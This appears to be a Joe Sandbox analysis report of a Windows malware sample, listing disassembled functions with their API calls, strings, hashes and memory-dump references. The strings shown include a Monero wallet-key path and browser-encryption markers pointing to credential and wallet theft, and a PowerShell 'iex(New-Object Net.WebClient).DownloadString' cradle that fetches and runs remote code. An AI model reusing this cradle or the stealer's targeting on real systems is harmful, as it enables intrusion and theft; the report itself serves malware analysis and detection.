Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: a28798df56fb0e181b22e434e2851ba0d6facce5a666bddb815e7b86a8afc337
Instruction ID: 4ac8724752521ee154a17441054bf3ae71770d25fc98ad3cf40f1e62994c0ebb
Opcode Fuzzy Hash: a28798df56fb0e181b22e434e2851ba0d6facce5a666bddb815e7b86a8afc337
Instruction Fuzzy Hash: 75014FB5A04208BBDB10DBE4DD49F69B7BCEB48701F104454FA05A72D1EAB899008F52

Function 00937720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00937734
RtlAllocateHeap.NTDLL(00000000), ref: 0093773B
RegOpenKeyExA.ADVAPI32(80000002,0104BA08,00000000,00020119,009376B9), ref: 0093775B
RegQueryValueExA.ADVAPI32(009376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0093777A
RegCloseKey.ADVAPI32(009376B9), ref: 00937784

Strings

CurrentBuildNumber, xrefs: 00937771

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: fa865f44ef6c1a63bb833693f231fa893c01eb02212dc8eb263e5c80dfbd34cb
Instruction ID: 77aede2e0d0afaa246edac354af8a44b64e26a35e1c63519bc7623da698c1a89
Opcode Fuzzy Hash: fa865f44ef6c1a63bb833693f231fa893c01eb02212dc8eb263e5c80dfbd34cb
Instruction Fuzzy Hash: 0F01F4B5A40308BBDB10DBE4DC4AFAEB7B8EB44705F104555FA05A72C1DAB469008F51

Function 009340B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009340D5
RegOpenKeyExA.ADVAPI32(80000001,0105D9D8,00000000,00020119,?), ref: 009340F4
RegQueryValueExA.ADVAPI32(?,0105EB00,00000000,00000000,00000000,000000FF), ref: 00934118
RegCloseKey.ADVAPI32(?), ref: 00934122
lstrcat.KERNEL32(?,00000000), ref: 00934147
lstrcat.KERNEL32(?,0105EB90), ref: 0093415B

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 27d7b4c301b048db4504cc3532d401fdb754cb8c6dc83aad6b3414b1ea7f6e2a
Instruction ID: c36713559e266aa81ceec45b1eee345cd2c64a03f3272ecc32e079c30a51b1c6
Opcode Fuzzy Hash: 27d7b4c301b048db4504cc3532d401fdb754cb8c6dc83aad6b3414b1ea7f6e2a
Instruction Fuzzy Hash: 5F4148B69101086BDF24EBA0EC56FFE737DAB98300F404558B616571C1EEB95B888FD2

Function 009299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00929A11
LocalAlloc.KERNEL32(00000040,?), ref: 00929A31
ReadFile.KERNEL32(000000FF,?,00000000,0092148F,00000000), ref: 00929A5A
LocalFree.KERNEL32(0092148F), ref: 00929A90
CloseHandle.KERNEL32(000000FF), ref: 00929A9A

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 61ed2886a69b73b9bb1f51209b05967e6b4d3b22df94b354345ac1678d22344f
Instruction ID: f75927dd7689228d5e24d63e667902449e0cae48c116a4f9b3256e3c556283a0
Opcode Fuzzy Hash: 61ed2886a69b73b9bb1f51209b05967e6b4d3b22df94b354345ac1678d22344f
Instruction Fuzzy Hash: AC3106B4A00309EFDF14CFA4D995BAE77B9FF48340F108158E911A7294DB78AA41CFA1

Function 0093C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0093C8BF
___crtGetStringTypeA.LIBCMT ref: 0093C8EC
___crtLCMapStringA.LIBCMT ref: 0093C90C
___crtLCMapStringA.LIBCMT ref: 0093C931

Strings

, xrefs: 0093C896

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 420c054d05d0980a9238c57ed84f84f3f27f867d4403ef2c3b5d1b763bf214a3
Instruction ID: 0db552c060926a714a2873f2c6508a8cc9e9816bbc1fed04609c228229efab5d
Opcode Fuzzy Hash: 420c054d05d0980a9238c57ed84f84f3f27f867d4403ef2c3b5d1b763bf214a3
Instruction Fuzzy Hash: D941F5B1100B9C5EDB218B24CC95FFBBBED9F45704F1448E8E9CAA6182D2719A449F20

Function 00934780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0105E360), ref: 009347DB

Part of subcall function 00938DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00938E0B

lstrcat.KERNEL32(?,00000000), ref: 00934801
lstrcat.KERNEL32(?,?), ref: 00934820
lstrcat.KERNEL32(?,?), ref: 00934834
lstrcat.KERNEL32(?,0104AEA0), ref: 00934847
lstrcat.KERNEL32(?,?), ref: 0093485B
lstrcat.KERNEL32(?,0105D978), ref: 0093486F

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 00938D90: GetFileAttributesA.KERNEL32(00000000,?,00921B54,?,?,0094564C,?,?,00940E1F), ref: 00938D9F

Part of subcall function 00934570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00934580
Part of subcall function 00934570: RtlAllocateHeap.NTDLL(00000000), ref: 00934587
Part of subcall function 00934570: wsprintfA.USER32 ref: 009345A6
Part of subcall function 00934570: FindFirstFileA.KERNEL32(?,?), ref: 009345BD

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: c11e36e89733e456985402a478de5f173ee9cb37d9366223bd57218b2cc812c9
Instruction ID: 7a2c378e54c70493f71b58f6a6fbd6e30555a5ac48381ed7b1f0aaadfaa9aa85
Opcode Fuzzy Hash: c11e36e89733e456985402a478de5f173ee9cb37d9366223bd57218b2cc812c9
Instruction Fuzzy Hash: 663132B290031867CB14F7A0DC85FEE737DAB98700F404989B355A7191EEB4E6898F95

Function 00932C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

ShellExecuteEx.SHELL32(0000003C), ref: 00932D85

Strings

')", xrefs: 00932CB3
<, xrefs: 00932D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00932CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00932D04

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0367fa8896eb5e8190f52c8cb9f7e701b04785f45337c775b383d592ceb9b1bc
Instruction ID: d04e16952a0a322c208634e46fd9d24155deecdb23a0aca1d2fdb8ff0f6017b4
Opcode Fuzzy Hash: 0367fa8896eb5e8190f52c8cb9f7e701b04785f45337c775b383d592ceb9b1bc
Instruction Fuzzy Hash: 7A41AF71D10208AADB14FFA0C892FEEB778AF94300F504119F156B7192EF746A4ACF96

Function 00929E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00929F41

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Strings

@, xrefs: 00929EF1
v20, xrefs: 00929E21
ERROR_RUN_EXTRACTOR, xrefs: 00929E67
v10, xrefs: 00929EA3

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 045348c1716ff297388cca2bcc30f15712958da239f24a6392de6dd4592fd9f9
Instruction ID: 770f55b829f200856fa7ebf66c54a4ec5bb5d824f870b36bf333142943ca1f7d
Opcode Fuzzy Hash: 045348c1716ff297388cca2bcc30f15712958da239f24a6392de6dd4592fd9f9
Instruction Fuzzy Hash: A6615E71A00218AFDB24EFA4DC96FEE7779AF85304F008018F90A5F195EB746A05CF92

Function 00936920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0093696C
sscanf.NTDLL ref: 00936999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009369B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009369C0
ExitProcess.KERNEL32 ref: 009369DA

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 3a21276cd7f90df18236a5176aee02e197440fdc15b09b1dbb737c91b9fd0673
Instruction ID: bfd24cd9047eed487d0f02e076a199b33010f1da8c8f20c005a397bbf214f056
Opcode Fuzzy Hash: 3a21276cd7f90df18236a5176aee02e197440fdc15b09b1dbb737c91b9fd0673
Instruction Fuzzy Hash: 9F21C9B5D14209ABCF04EFE4D955AEEB7B9BF48300F04852AE506F3250EB745605CFA9

Function 00937E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00937E37
RtlAllocateHeap.NTDLL(00000000), ref: 00937E3E
RegOpenKeyExA.ADVAPI32(80000002,0104B7A0,00000000,00020119,?), ref: 00937E5E
RegQueryValueExA.ADVAPI32(?,0105DC58,00000000,00000000,000000FF,000000FF), ref: 00937E7F
RegCloseKey.ADVAPI32(?), ref: 00937E92

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ef5406816b39ec16972be18dc065391ef7a3c923aa961bb2bec79cbe1fe31897
Instruction ID: f38bf3adaf3e63a7fb529d791b351650bd0a8752852454138187ae5a37f4049a
Opcode Fuzzy Hash: ef5406816b39ec16972be18dc065391ef7a3c923aa961bb2bec79cbe1fe31897
Instruction Fuzzy Hash: 50113AB1A44205ABDB20CBD4DD49FBBBBB8EB44B10F104159F605A72D0DBB869008FA2

Function 00939260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0105E018,?,?,?,0093140C,?,0105E018,00000000), ref: 0093926C
lstrcpyn.KERNEL32(00B6AB88,0105E018,0105E018,?,0093140C,?,0105E018), ref: 00939290
lstrlen.KERNEL32(?,?,0093140C,?,0105E018), ref: 009392A7
wsprintfA.USER32 ref: 009392C7

Strings

%s%s, xrefs: 009392B5

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: f89f1a69e916c5b7308b1d2a229c011e614e631c666ae0c0edef7f5a1d346b70
Instruction ID: 521ac179b40bd89931835aac9147176f71b2650b57ce874dea552c462c01cac2
Opcode Fuzzy Hash: f89f1a69e916c5b7308b1d2a229c011e614e631c666ae0c0edef7f5a1d346b70
